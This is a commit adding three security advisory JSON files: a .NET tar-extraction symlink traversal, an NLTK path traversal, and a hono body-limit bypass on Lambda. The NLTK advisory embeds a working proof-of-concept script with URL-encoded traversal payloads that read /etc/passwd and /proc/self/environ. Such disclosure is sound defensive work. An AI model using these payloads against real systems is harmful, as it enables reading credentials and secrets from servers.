Skip to content

Commit 3b56f53

Browse files
1 parent e09b2b2 commit 3b56f53

4 files changed

Lines changed: 419 additions & 0 deletions

File tree

Lines changed: 248 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,248 @@
1+
{
2+
"schema_version": "1.4.0",
3+
"id": "GHSA-7q4v-2mr6-5gpx",
4+
"modified": "2026-06-16T14:33:40Z",
5+
"published": "2026-06-16T14:33:40Z",
6+
"aliases": [
7+
"CVE-2026-45491"
8+
],
9+
"summary": "Microsoft Security Advisory CVE-2026-45491 – .NET Tampering Vulnerability",
10+
"details": "## Executive Summary\n\nMicrosoft is releasing this security advisory to provide information about a vulnerability in System.Formats.Tar. This advisory also provides guidance on what developers can do to update their applications to remove this vulnerability.\n\nA tampering vulnerability exists in the `TarFile.ExtractToDirectory` method where a symlink path traversal enables an attacker to perform arbitrary file writes outside the intended extraction directory.\n\n## Announcement\n\nAnnouncement for this issue can be found at https://github.com/dotnet/announcements/issues/404\n\n## Affected Platforms\n\n- **Platforms:** All\n- **Architectures:** All\n\n## Affected Packages\nThe vulnerability affects any Microsoft .NET project if it uses any of affected package versions listed below\n\n### .NET 10\nPackage name | Affected version | Patched version\n------------ | ---------------- | -------------------------\n[Microsoft.NETCore.App.Runtime](https://www.nuget.org/packages/Microsoft.NETCore.App.Runtime) | >= 10.0.0, <= 10.0.8 | 10.0.9\n\n### .NET 9\nPackage name | Affected version | Patched version\n------------ | ---------------- | -------------------------\n[Microsoft.NETCore.App.Runtime](https://www.nuget.org/packages/Microsoft.NETCore.App.Runtime) | >= 9.0.0, <= 9.0.16 | 9.0.17\n\n### .NET 8\nPackage name | Affected version | Patched version\n------------ | ---------------- | -------------------------\n[Microsoft.NETCore.App.Runtime](https://www.nuget.org/packages/Microsoft.NETCore.App.Runtime) | >= 8.0.0, <= 8.0.27 | 8.0.28\n\n## Advisory FAQ\n\n### How do I know if I am affected?\n\nIf using a package listed in affected packages, you're exposed to the vulnerability.\n\n### How do I fix the issue?\n\n1. To fix the issue please install the latest version of .NET 8.0, .NET 9.0, or .NET 10.0, as appropriate. If you have installed one or more .NET SDKs through Visual Studio, Visual Studio will prompt you to update Visual Studio, which will also update your .NET SDKs.\n2. If your application references the vulnerable package, update the package reference to the patched version.\n\nOnce you have installed the updated runtime or SDK, restart your apps for the update to take effect.\n\nAdditionally, if you've deployed [self-contained applications](https://docs.microsoft.com/dotnet/core/deploying/#self-contained-deployments-scd) targeting any of the impacted versions, these applications are also vulnerable and must be recompiled and redeployed.\n\n## Other Information\n\n### Reporting Security Issues\n\nIf you have found a potential security issue in a supported version of .NET, please report it to the Microsoft Security Response Center (MSRC) via the [MSRC Researcher Portal](https://msrc.microsoft.com/report/vulnerability/new). Further information can be found in the MSRC [Report an Issue FAQ](https://www.microsoft.com/msrc/faqs-report-an-issue).\n\nSecurity reports made through MSRC may qualify for the Microsoft .NET Bounty. Details of the Microsoft .NET Bounty Program including terms and conditions are at https://aka.ms/corebounty.\n\n### Support\n\nYou can ask questions about this issue on GitHub in the .NET GitHub organization. The main repos are located at https://github.com/dotnet/runtime. The Announcements repo (https://github.com/dotnet/Announcements) will contain this bulletin as an issue and will include a link to a discussion issue. You can ask questions in the linked discussion issue.\n\n### Disclaimer\n\nThe information provided in this advisory is provided \"as is\" without warranty of any kind. Microsoft disclaims all warranties, either express or implied, including the warranties of merchantability and fitness for a particular purpose. In no event shall Microsoft Corporation or its suppliers be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages, even if Microsoft Corporation or its suppliers have been advised of the possibility of such damages. Some states do not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing limitation may not apply.\n\n### Acknowledgements\nAnonymous, Ashmit Sharma, Ky0toFu ,phrolo7a\n\n### Revisions\n\nV1.0 (June 9, 2026): Advisory published.",
11+
"severity": [
12+
{
13+
"type": "CVSS_V3",
14+
"score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:L"
15+
}
16+
],
17+
"affected": [
18+
{
19+
"package": {
20+
"ecosystem": "NuGet",
21+
"name": "Microsoft.NETCore.App.Runtime.linux-x64"
22+
},
23+
"ranges": [
24+
{
25+
"type": "ECOSYSTEM",
26+
"events": [
27+
{
28+
"introduced": "8.0.0"
29+
},
30+
{
31+
"fixed": "8.0.28"
32+
}
33+
]
34+
}
35+
],
36+
"database_specific": {
37+
"last_known_affected_version_range": "<= 8.0.27"
38+
}
39+
},
40+
{
41+
"package": {
42+
"ecosystem": "NuGet",
43+
"name": "Microsoft.NETCore.App.Runtime.linux-x64"
44+
},
45+
"ranges": [
46+
{
47+
"type": "ECOSYSTEM",
48+
"events": [
49+
{
50+
"introduced": "9.0.0"
51+
},
52+
{
53+
"fixed": "9.0.17"
54+
}
55+
]
56+
}
57+
],
58+
"database_specific": {
59+
"last_known_affected_version_range": "<= 9.0.16"
60+
}
61+
},
62+
{
63+
"package": {
64+
"ecosystem": "NuGet",
65+
"name": "Microsoft.NETCore.App.Runtime.linux-x64"
66+
},
67+
"ranges": [
68+
{
69+
"type": "ECOSYSTEM",
70+
"events": [
71+
{
72+
"introduced": "10.0.0"
73+
},
74+
{
75+
"fixed": "10.0.9"
76+
}
77+
]
78+
}
79+
],
80+
"database_specific": {
81+
"last_known_affected_version_range": "<= 10.0.8"
82+
}
83+
},
84+
{
85+
"package": {
86+
"ecosystem": "NuGet",
87+
"name": "Microsoft.NETCore.App.Runtime.win-x64"
88+
},
89+
"ranges": [
90+
{
91+
"type": "ECOSYSTEM",
92+
"events": [
93+
{
94+
"introduced": "8.0.0"
95+
},
96+
{
97+
"fixed": "8.0.28"
98+
}
99+
]
100+
}
101+
],
102+
"database_specific": {
103+
"last_known_affected_version_range": "<= 8.0.27"
104+
}
105+
},
106+
{
107+
"package": {
108+
"ecosystem": "NuGet",
109+
"name": "Microsoft.NETCore.App.Runtime.win-x64"
110+
},
111+
"ranges": [
112+
{
113+
"type": "ECOSYSTEM",
114+
"events": [
115+
{
116+
"introduced": "9.0.0"
117+
},
118+
{
119+
"fixed": "9.0.17"
120+
}
121+
]
122+
}
123+
],
124+
"database_specific": {
125+
"last_known_affected_version_range": "<= 9.0.16"
126+
}
127+
},
128+
{
129+
"package": {
130+
"ecosystem": "NuGet",
131+
"name": "Microsoft.NETCore.App.Runtime.win-x64"
132+
},
133+
"ranges": [
134+
{
135+
"type": "ECOSYSTEM",
136+
"events": [
137+
{
138+
"introduced": "10.0.0"
139+
},
140+
{
141+
"fixed": "10.0.9"
142+
}
143+
]
144+
}
145+
],
146+
"database_specific": {
147+
"last_known_affected_version_range": "<= 10.0.8"
148+
}
149+
},
150+
{
151+
"package": {
152+
"ecosystem": "NuGet",
153+
"name": "Microsoft.NETCore.App.Runtime.osx-arm64"
154+
},
155+
"ranges": [
156+
{
157+
"type": "ECOSYSTEM",
158+
"events": [
159+
{
160+
"introduced": "8.0.0"
161+
},
162+
{
163+
"fixed": "8.0.28"
164+
}
165+
]
166+
}
167+
],
168+
"database_specific": {
169+
"last_known_affected_version_range": "<= 8.0.27"
170+
}
171+
},
172+
{
173+
"package": {
174+
"ecosystem": "NuGet",
175+
"name": "Microsoft.NETCore.App.Runtime.osx-arm64"
176+
},
177+
"ranges": [
178+
{
179+
"type": "ECOSYSTEM",
180+
"events": [
181+
{
182+
"introduced": "9.0.0"
183+
},
184+
{
185+
"fixed": "9.0.17"
186+
}
187+
]
188+
}
189+
],
190+
"database_specific": {
191+
"last_known_affected_version_range": "<= 9.0.16"
192+
}
193+
},
194+
{
195+
"package": {
196+
"ecosystem": "NuGet",
197+
"name": "Microsoft.NETCore.App.Runtime.osx-arm64"
198+
},
199+
"ranges": [
200+
{
201+
"type": "ECOSYSTEM",
202+
"events": [
203+
{
204+
"introduced": "10.0.0"
205+
},
206+
{
207+
"fixed": "10.0.9"
208+
}
209+
]
210+
}
211+
],
212+
"database_specific": {
213+
"last_known_affected_version_range": "<= 10.0.8"
214+
}
215+
}
216+
],
217+
"references": [
218+
{
219+
"type": "WEB",
220+
"url": "https://github.com/dotnet/runtime/security/advisories/GHSA-7q4v-2mr6-5gpx"
221+
},
222+
{
223+
"type": "ADVISORY",
224+
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-45491"
225+
},
226+
{
227+
"type": "WEB",
228+
"url": "https://github.com/dotnet/announcements/issues/404"
229+
},
230+
{
231+
"type": "PACKAGE",
232+
"url": "https://github.com/dotnet/runtime"
233+
},
234+
{
235+
"type": "WEB",
236+
"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45491"
237+
}
238+
],
239+
"database_specific": {
240+
"cwe_ids": [
241+
"CWE-59"
242+
],
243+
"severity": "MODERATE",
244+
"github_reviewed": true,
245+
"github_reviewed_at": "2026-06-16T14:33:40Z",
246+
"nvd_published_at": "2026-06-09T17:17:25Z"
247+
}
248+
}
Lines changed: 57 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,57 @@
1+
{
2+
"schema_version": "1.4.0",
3+
"id": "GHSA-p4gq-832x-fm9v",
4+
"modified": "2026-06-16T14:34:15Z",
5+
"published": "2026-06-16T14:34:15Z",
6+
"aliases": [
7+
"CVE-2026-54293"
8+
],
9+
"summary": "Natural Language Toolkit (NLTK): URL-Encoded Path Traversal in nltk.data.load() Allows Arbitrary Local File Read",
10+
"details": "### Summary\nnltk.data.load() in NLTK is vulnerable to path traversal via URL-encoded path separators and traversal segments when using the nltk: URL scheme. The unsafe-path regex check is performed before url2pathname() decodes the %xx sequences (a classic decode-after-check / TOCTOU-style flaw), allowing an attacker to bypass the protection documented in NLTK's SECURITY.md and read arbitrary files from the filesystem.\nWhile literal traversal strings such as ../../../etc/passwd are correctly blocked, encoded variants such as %2fetc%2fpasswd, %2e%2e%2f..., and ..%2f..%2f slip past the regex and are subsequently decoded into a real filesystem path.\n### Affected Component\nnltk/data.py — find(), normalize_resource_url(), and the _UNSAFE_NO_PROTOCOL_RE regex check.\nRelevant occurrences:\n\ndata.py L650–L653 — final path constructed from url2pathname(resource_name) after checks\ndata.py L54–L69 — _UNSAFE_NO_PROTOCOL_RE operates only on the undecoded string\ndata.py L219–L245 — normalize_resource_url() for nltk: scheme contributes to decode-after-check\ndata.py L615–L618 — defense-in-depth traversal check also operates on undecoded input\n\nRoot Cause\nThe regex _UNSAFE_NO_PROTOCOL_RE is matched against the raw resource string. Path normalization via url2pathname() happens later, so any percent-encoded / (%2f) or . (%2e) is invisible to the regex but becomes active in the final path.\n### Proof of Concept\n```\n\"\"\"\nNLTK Arbitrary File Read via URL-Encoded Path Traversal\n=======================================================\nBypasses _UNSAFE_NO_PROTOCOL_RE security regex in nltk/data.py\nby URL-encoding path separators and traversal components.\n\nAffected: NLTK <= 3.9.4 (default ENFORCE=False configuration)\nCWE: CWE-22 (Path Traversal)\n\nRoot Cause:\n nltk/data.py:find() checks resource names against a regex for\n traversal patterns (../, leading /, etc.) BEFORE calling\n url2pathname() which decodes %xx sequences. This is a classic\n \"decode-after-check\" vulnerability.\n\"\"\"\n\nimport sys\nimport os\nimport warnings\n\n# Suppress NLTK security warnings for clean PoC output\nwarnings.filterwarnings(\"ignore\", category=RuntimeWarning)\n\n# Setup\nsys.path.insert(0, os.path.join(os.path.dirname(__file__), \"nltk\"))\nos.makedirs(os.path.expanduser(\"~/nltk_data/corpora\"), exist_ok=True)\n\nimport nltk\nfrom nltk.pathsec import ENFORCE\n\nBANNER = \"\"\"\n===================================================\n NLTK URL-Encoded Path Traversal PoC\n Affected: nltk <= 3.9.4\n Default ENFORCE={enforce}\n===================================================\n\"\"\".format(enforce=ENFORCE)\n\ndef test_variant(name, payload, fmt=\"raw\"):\n \"\"\"Test a single traversal variant.\"\"\"\n try:\n content = nltk.data.load(payload, format=fmt)\n if isinstance(content, bytes):\n preview = content[:200].decode(\"utf-8\", errors=\"replace\")\n else:\n preview = content[:200]\n first_line = preview.split(\"\\n\")[0]\n print(f\" [VULN] {name}\")\n print(f\" Payload: {payload}\")\n print(f\" Read OK: {first_line}\")\n return True\n except Exception as e:\n print(f\" [SAFE] {name}\")\n print(f\" Payload: {payload}\")\n print(f\" Blocked: {type(e).__name__}: {e}\")\n return False\n\n\ndef main():\n print(BANNER)\n vulns = 0\n\n # --- Variant 1: URL-encoded absolute path ---\n print(\"[1] URL-encoded absolute path (%2f = /)\")\n if test_variant(\n \"Encoded leading slash bypasses ^/ regex check\",\n \"nltk:%2fetc%2fpasswd\",\n ):\n vulns += 1\n\n print()\n\n # --- Variant 2: Encoded dot-dot traversal ---\n print(\"[2] URL-encoded dot-dot traversal (%2e = .)\")\n if test_variant(\n \"Encoded dots bypass \\\\.\\\\./ regex check\",\n \"nltk:corpora/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd\",\n ):\n vulns += 1\n\n print()\n\n # --- Variant 3: Literal dots with encoded slash ---\n print(\"[3] Literal dots with encoded slash (..%2f)\")\n if test_variant(\n \"Encoded slash after literal .. bypasses \\\\.\\\\./ regex\",\n \"nltk:corpora/..%2f..%2f..%2f..%2f..%2fetc%2fpasswd\",\n ):\n vulns += 1\n\n print()\n\n # --- Variant 4: Read process environment (credential leak) ---\n print(\"[4] Read /proc/self/environ (credential leakage)\")\n try:\n content = nltk.data.load(\"nltk:%2fproc%2fself%2fenviron\", format=\"raw\")\n env_vars = content.decode(\"utf-8\", errors=\"replace\").split(\"\\x00\")\n print(f\" [VULN] Leaked {len(env_vars)} environment variables\")\n for var in env_vars[:3]:\n if var:\n key = var.split(\"=\")[0] if \"=\" in var else var\n print(f\" {key}=...\")\n vulns += 1\n except Exception as e:\n print(f\" [SAFE] Blocked: {e}\")\n\n print()\n\n # --- Control: verify normal traversal IS blocked ---\n print(\"[CONTROL] Verify literal ../ is blocked by regex\")\n test_variant(\"Direct traversal (should be blocked)\", \"nltk:../../../etc/passwd\")\n\n print()\n print(\"=\" * 51)\n print(f\" Result: {vulns} bypass variant(s) succeeded\")\n if vulns > 0:\n print(\" Status: VULNERABLE (url2pathname decodes after regex check)\")\n else:\n print(\" Status: Not vulnerable\")\n print(\"=\" * 51)\n\n\nif __name__ == \"__main__\":\n main()\n```\n### Impact\nArbitrary local file read whenever attacker-controlled input reaches nltk.data.load(). Realistic targets include:\n\n/etc/passwd, /etc/shadow (if readable)\n/proc/self/environ — leaks environment variables, often containing API keys, DB credentials, cloud secrets\nApplication source code and configuration files\nCloud metadata, deployment secrets, SSH keys\n\nThis is directly relevant to web applications, hosted notebook services, multi-tenant ML pipelines, and CI/CD systems that pass untrusted resource identifiers into NLTK. NLTK's SECURITY.md explicitly places path traversal within the scope of its protection model, so this is a documented security boundary being broken.",
11+
"severity": [
12+
{
13+
"type": "CVSS_V3",
14+
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N"
15+
}
16+
],
17+
"affected": [
18+
{
19+
"package": {
20+
"ecosystem": "PyPI",
21+
"name": "nltk"
22+
},
23+
"ranges": [
24+
{
25+
"type": "ECOSYSTEM",
26+
"events": [
27+
{
28+
"introduced": "0"
29+
},
30+
{
31+
"last_affected": "3.9.4"
32+
}
33+
]
34+
}
35+
]
36+
}
37+
],
38+
"references": [
39+
{
40+
"type": "WEB",
41+
"url": "https://github.com/nltk/nltk/security/advisories/GHSA-p4gq-832x-fm9v"
42+
},
43+
{
44+
"type": "PACKAGE",
45+
"url": "https://github.com/nltk/nltk"
46+
}
47+
],
48+
"database_specific": {
49+
"cwe_ids": [
50+
"CWE-22"
51+
],
52+
"severity": "HIGH",
53+
"github_reviewed": true,
54+
"github_reviewed_at": "2026-06-16T14:34:15Z",
55+
"nvd_published_at": null
56+
}
57+
}
Lines changed: 57 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,57 @@
1+
{
2+
"schema_version": "1.4.0",
3+
"id": "GHSA-rv63-4mwf-qqc2",
4+
"modified": "2026-06-16T14:32:49Z",
5+
"published": "2026-06-16T14:32:49Z",
6+
"aliases": [
7+
"CVE-2026-54288"
8+
],
9+
"summary": "hono: Body Limit Middleware can be bypassed on AWS Lambda by understating `Content-Length`",
10+
"details": "### Summary\n\nThe Body Limit Middleware trusts the request's `Content-Length` header to decide whether a body is within the limit. On AWS Lambda (API Gateway v1/v2, ALB, VPC Lattice, and Lambda@Edge) the body is delivered fully buffered and the adapter builds the request with the client-declared `Content-Length`, which need not match the actual payload. A client can declare a tiny `Content-Length` while sending a much larger body, slipping past the limit.\n\n### Details\n\nWhen `Content-Length` is present and `Transfer-Encoding` is absent, the middleware compares the declared value against the limit and passes the request through if it is small enough. On standards-based runtimes the transport enforces that `Content-Length` matches the body, so this is safe. The Lambda adapters instead reconstruct the request from a buffered payload and copy the client's `Content-Length` verbatim, so the declared length and the real body size are decoupled.\n\nThis issue affects applications deployed on AWS Lambda that rely on the Body Limit Middleware to cap request body size.\n\n### Impact\n\nThe declared body-size limit can be bypassed: a handler reads a payload larger than the configured maximum. Processing the oversized payload (large JSON, multipart, etc.) consumes additional CPU and memory per request. The payload remains bounded by the platform's request size limits, and Lambda isolates invocations, so the impact is increased per-request resource usage rather than full denial of service. This affects applications deployed on AWS Lambda that use the Body Limit Middleware.",
11+
"severity": [
12+
{
13+
"type": "CVSS_V3",
14+
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N"
15+
}
16+
],
17+
"affected": [
18+
{
19+
"package": {
20+
"ecosystem": "npm",
21+
"name": "hono"
22+
},
23+
"ranges": [
24+
{
25+
"type": "ECOSYSTEM",
26+
"events": [
27+
{
28+
"introduced": "0"
29+
},
30+
{
31+
"fixed": "4.12.25"
32+
}
33+
]
34+
}
35+
]
36+
}
37+
],
38+
"references": [
39+
{
40+
"type": "WEB",
41+
"url": "https://github.com/honojs/hono/security/advisories/GHSA-rv63-4mwf-qqc2"
42+
},
43+
{
44+
"type": "PACKAGE",
45+
"url": "https://github.com/honojs/hono"
46+
}
47+
],
48+
"database_specific": {
49+
"cwe_ids": [
50+
"CWE-345"
51+
],
52+
"severity": "MODERATE",
53+
"github_reviewed": true,
54+
"github_reviewed_at": "2026-06-16T14:32:49Z",
55+
"nvd_published_at": null
56+
}
57+
}

0 commit comments

Comments
 (0)